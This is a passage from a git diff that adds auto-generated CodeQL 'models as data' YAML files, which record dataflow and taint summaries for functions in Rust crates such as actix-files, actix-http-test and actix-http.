rust/ql/lib/ext/generated/rand/repo-benches.model.yml create mode 100644 rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand.model.yml create mode 100644 rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_chacha.model.yml create mode 100644 rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_core.model.yml create mode 100644 rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_pcg.model.yml create mode 100644 rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket.model.yml create mode 100644 rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_codegen.model.yml create mode 100644 rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_http.model.yml create mode 100644 rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-db_pools-rocket_db_pools.model.yml create mode 100644 rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-dyn_templates-rocket_dyn_templates.model.yml create mode 100644 rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-sync_db_pools-rocket_sync_db_pools.model.yml create mode 100644 rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-ws-rocket_ws.model.yml create mode 100644 rust/ql/lib/ext/generated/rocket/repo-pastebin.model.yml create mode 100644 rust/ql/lib/ext/generated/rocket/repo-tls.model.yml create mode 100644 rust/ql/lib/ext/generated/rocket/repo-todo.model.yml create mode 100644 rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde.model.yml create mode 100644 rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde_derive.model.yml create mode 100644 rust/ql/lib/ext/generated/serde/repo-serde_test_suite.model.yml create mode 100644 rust/ql/lib/ext/generated/smallvec/repo-https-github.com-servo-rust-smallvec-smallvec.model.yml create mode 100644 rust/ql/lib/ext/generated/tokio/repo-benches.model.yml create mode 100644 rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-macros.model.yml create mode 100644 rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-stream.model.yml create mode 100644 rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-test.model.yml create mode 100644 rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-util.model.yml create mode 100644 rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio.model.yml diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-files.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-files.model.yml new file mode 100644 index 000000000000..ed7c81cde187 --- /dev/null +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-files.model.yml @@ -0,0 +1,58 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/actix/actix-web:actix-files", "::new", "Argument[0]", "ReturnValue.Field[crate::directory::Directory::base]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::new", "Argument[1]", "ReturnValue.Field[crate::directory::Directory::path]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::default_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::disable_content_disposition", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::files_listing_renderer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::guard", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::index_file", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::method_guard", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::mime_override", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::path_filter", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::prefer_utf8", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::redirect_to_slash_directory", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::show_files_listing", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::use_etag", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::use_guards", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::use_hidden_files", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::use_last_modified", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::content_disposition", "Argument[self].Field[crate::named::NamedFile::content_disposition]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::content_encoding", "Argument[self].Field[crate::named::NamedFile::encoding]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::content_type", "Argument[self].Field[crate::named::NamedFile::content_type]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::disable_content_disposition", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::etag", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::file", "Argument[self].Field[crate::named::NamedFile::file]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::from_file", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::named::NamedFile::file]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::last_modified", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::metadata", "Argument[self].Field[crate::named::NamedFile::md]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::modified", "Argument[self].Field[crate::named::NamedFile::modified]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::path", "Argument[self].Field[crate::named::NamedFile::path]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::path", "Argument[self].Field[crate::named::NamedFile::path]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::prefer_utf8", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_content_disposition", "Argument[0]", "Argument[self].Field[crate::named::NamedFile::content_disposition]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_content_disposition", "Argument[0]", "ReturnValue.Field[crate::named::NamedFile::content_disposition]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_content_disposition", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_content_encoding", "Argument[0]", "Argument[self].Field[crate::named::NamedFile::encoding].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_content_encoding", "Argument[0]", "ReturnValue.Field[crate::named::NamedFile::encoding].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_content_encoding", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_content_type", "Argument[0]", "Argument[self].Field[crate::named::NamedFile::content_type]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_content_type", "Argument[0]", "ReturnValue.Field[crate::named::NamedFile::content_type]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_content_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_status_code", "Argument[0]", "Argument[self].Field[crate::named::NamedFile::status_code]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_status_code", "Argument[0]", "ReturnValue.Field[crate::named::NamedFile::status_code]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_status_code", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::use_etag", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::use_last_modified", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::as_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::deref", "Argument[self].Field[crate::service::FilesService(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "crate::chunked::new_chunked_read", "Argument[0]", "ReturnValue.Field[crate::chunked::ChunkedReadFile::size]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "crate::chunked::new_chunked_read", "Argument[1]", "ReturnValue.Field[crate::chunked::ChunkedReadFile::offset]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "crate::directory::directory_listing", "Argument[1].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "crate::encoding::equiv_utf8_text", "Argument[0]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http-test.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http-test.model.yml new file mode 100644 index 000000000000..e76569692ab7 --- /dev/null +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http-test.model.yml @@ -0,0 +1,40 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::addr", "Argument[self].Field[crate::TestServer::addr]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::delete", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::delete", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::get", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::get", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::head", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::head", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::options", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::options", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::patch", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::patch", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::post", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::post", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::put", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::put", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::request", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::request", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::request", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sdelete", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sdelete", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sget", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sget", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::shead", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::shead", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::soptions", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::soptions", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::spatch", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::spatch", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::spost", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::spost", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sput", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sput", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::surl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::url", "Argument[0]", "ReturnValue", "taint", "df-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http.model.yml new file mode 100644 index 000000000000..f1e7d73e1294 --- /dev/null +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http.model.yml @@ -0,0 +1,227 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/actix/actix-web:actix-http", "<&crate::header::value::HeaderValue as crate::header::into_value::TryIntoHeaderValue>::try_into_value", "Argument[self].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "<&str as crate::header::into_value::TryIntoHeaderValue>::try_into_value", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from_io", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::body::body_stream::BodyStream::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::boxed", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::try_into_bytes", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::body::message_body::MessageBodyMapErr::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[1]", "ReturnValue.Field[crate::body::message_body::MessageBodyMapErr::mapper].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::size", "Argument[self].Field[crate::body::sized_stream::SizedStream::size]", "ReturnValue.Field[crate::body::size::BodySize::Sized(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::body::sized_stream::SizedStream::size]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[1]", "ReturnValue.Field[crate::body::sized_stream::SizedStream::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_disconnect_timeout", "Argument[0]", "Argument[self].Field[crate::builder::HttpServiceBuilder::client_disconnect_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_disconnect_timeout", "Argument[0]", "ReturnValue.Field[crate::builder::HttpServiceBuilder::client_disconnect_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_disconnect_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_request_timeout", "Argument[0]", "Argument[self].Field[crate::builder::HttpServiceBuilder::client_request_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_request_timeout", "Argument[0]", "ReturnValue.Field[crate::builder::HttpServiceBuilder::client_request_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_request_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::expect", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::keep_alive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::local_addr", "Argument[0]", "Argument[self].Field[crate::builder::HttpServiceBuilder::local_addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::local_addr", "Argument[0]", "ReturnValue.Field[crate::builder::HttpServiceBuilder::local_addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::local_addr", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::secure", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::upgrade", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::try_into_bytes", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from_headers", "Argument[0]", "ReturnValue.Field[crate::encoding::decoder::Decoder::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::encoding::decoder::Decoder::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::try_into_bytes", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::response", "Argument[2]", "ReturnValue.Field[crate::encoding::encoder::Encoder::body].Field[crate::encoding::encoder::EncoderBody::Stream::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::try_into_bytes", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::source", "Argument[self].Field[crate::encoding::encoder::EncoderError::Io(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::source", "Argument[self].Field[crate::error::DispatchError::H2(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::source", "Argument[self].Field[crate::error::DispatchError::Io(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::source", "Argument[self].Field[crate::error::DispatchError::Parse(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with_cause", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::error::ParseError::Io(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::error::ParseError::Uri(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::error::ParseError::Utf8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::error::PayloadError::Http2Payload(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::error::PayloadError::Incomplete(0)].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::error::PayloadError::Incomplete(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::source", "Argument[self].Field[crate::error::PayloadError::Http2Payload(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::source", "Argument[self].Field[crate::error::PayloadError::Incomplete(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::source", "Argument[self].Field[crate::error::PayloadError::Io(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::finish", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::finish", "Argument[self].Field[crate::extensions::NoOpHasher(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::write_u64", "Argument[0]", "Argument[self].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::write_u64", "Argument[0]", "Argument[self].Field[crate::extensions::NoOpHasher(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::h1::Message::Item(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::chunk", "Argument[self].Field[crate::h1::Message::Chunk(0)].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::message", "Argument[self].Field[crate::h1::Message::Item(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::into_payload_codec", "Argument[self].Field[crate::h1::client::ClientCodec::inner]", "ReturnValue.Field[crate::h1::client::ClientPayloadCodec::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::h1::client::ClientCodec::inner].Field[crate::h1::client::ClientCodecInner::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::into_message_codec", "Argument[self].Field[crate::h1::client::ClientPayloadCodec::inner]", "ReturnValue.Field[crate::h1::client::ClientCodec::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::config", "Argument[self].Field[crate::h1::codec::Codec::config]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::h1::codec::Codec::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::length", "Argument[0]", "ReturnValue.Field[crate::h1::decoder::PayloadDecoder::kind].Field[crate::h1::decoder::Kind::Length(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::chunk", "Argument[self].Field[crate::h1::decoder::PayloadItem::Chunk(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::unwrap", "Argument[self].Field[crate::h1::decoder::PayloadType::Payload(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::encode", "Argument[self].Field[crate::h1::encoder::TransferEncoding::kind].Field[crate::h1::encoder::TransferEncodingKind::Chunked(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::length", "Argument[0]", "ReturnValue.Field[crate::h1::encoder::TransferEncoding::kind].Field[crate::h1::encoder::TransferEncodingKind::Length(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::expect", "Argument[0]", "ReturnValue.Field[crate::h1::service::H1Service::expect]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "Argument[self].Field[crate::h1::service::H1Service::on_connect_ext]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "ReturnValue.Field[crate::h1::service::H1Service::on_connect_ext]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::upgrade", "Argument[0]", 